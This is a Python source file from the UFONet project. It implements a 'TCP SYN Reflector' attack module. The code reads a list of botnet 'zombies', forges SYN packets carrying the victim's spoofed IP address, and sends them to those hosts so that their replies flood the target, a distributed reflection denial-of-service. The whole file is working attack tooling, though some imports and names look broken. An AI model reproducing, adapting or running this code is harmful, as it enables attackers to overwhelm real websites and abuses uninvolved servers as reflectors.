spray.py 4.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. import urllib.parse
  12. try:
  13. from scapy import *
  14. except:
  15. print("\nError importing: scapy lib.\n")
  16. sys.exit(2)
  17. # UFONet TCP SYN Reflector (SPRAY)
  18. def randInt():
  19. x = random.randint(1,65535) # TCP ports
  20. return x
  21. def sIP(base_stations): # extract 'base stations'
  22. bs = {}
  23. s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
  24. if not s_zombie in bs:
  25. url = urllib.parse.urlparse(s_zombie)
  26. try:
  27. s_zombie_ip = socket.gethostbyname(url.netloc)
  28. bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
  29. except:
  30. try:
  31. import dns.resolver
  32. r = dns.resolver.Resolver()
  33. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  34. a = r.query(url.netloc, "A") # A record
  35. for rd in a:
  36. s_zombie_ip = str(rd)
  37. bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
  38. except:
  39. s_zombie_ip = s_zombie
  40. else:
  41. s_zombie_ip = bs.get(s_zombie)
  42. return s_zombie_ip
  43. def sprayize(ip, sport, rounds):
  44. f = open('botnet/zombies.txt') # use 'zombies' as 'base stations'
  45. base_stations = f.readlines()
  46. base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
  47. f.close()
  48. n=0
  49. try:
  50. for x in range (0,int(rounds)):
  51. n=n+1
  52. s_zombie_ip = sIP(base_stations)
  53. if s_zombie_ip == None: # not any 'base stations' available
  54. print("[Error] [AI] [SPRAY] Imposible to retrieve 'base stations' -> [Aborting!]\n")
  55. break
  56. seq = randInt()
  57. window = randInt()
  58. IP_p = IP()
  59. try:
  60. IP_p.src = ip # SYN packets carring fraudulent (spoofed) source IP belonging to target (aka DrDoS)
  61. except:
  62. print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'target' -> [Aborting!]\n")
  63. break
  64. try:
  65. IP_p.dst = s_zombie_ip
  66. except:
  67. print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
  68. break
  69. TCP_l = TCP()
  70. TCP_l.sport = sport
  71. TCP_l.dport = sport
  72. TCP_l.seq = seq
  73. TCP_l.window = window
  74. TCP_l.flags = "S" # SYN
  75. SYNACK=(IP_p/TCP_l)
  76. TCP_l.flags = "A" # ACK
  77. TCP_l.seq = SYNACK.ack+1
  78. TCP_l.ack = SYNACK.seq+1
  79. try:
  80. send(IP_p/TCP_l, verbose=0)
  81. print(("[Info] [AI] [SPRAY] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]"))
  82. time.sleep(1) # sleep time required for balanced sucess
  83. except:
  84. print(("[Error] [AI] [SPRAY] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]"))
  85. except:
  86. print("[Error] [AI] [SPRAY] Failing to engage... -> Is still target online? -> [Checking!]")
  87. class SPRAY(object):
  88. def attacking(self, target, rounds):
  89. print(("[Info] [AI] TCP SYN Reflector (SPRAY) is redirecting: [ " + str(rounds)+ " base stations ]"))
  90. if target.startswith('http://'):
  91. target = target.replace('http://','')
  92. sport = 80
  93. elif target.startswith('https://'):
  94. target = target.replace('https://','')
  95. sport = 443
  96. try:
  97. ip = socket.gethostbyname(target)
  98. except:
  99. try:
  100. import dns.resolver
  101. r = dns.resolver.Resolver()
  102. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  103. url = urlparse(target)
  104. a = r.query(url.netloc, "A") # A record
  105. for rd in a:
  106. ip = str(rd)
  107. except:
  108. ip = target
  109. if ip == "127.0.0.1" or ip == "localhost":
  110. print("[Info] [AI] [SPRAY] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  111. return
  112. sprayize(ip, sport, rounds) # attack with SPRAY using threading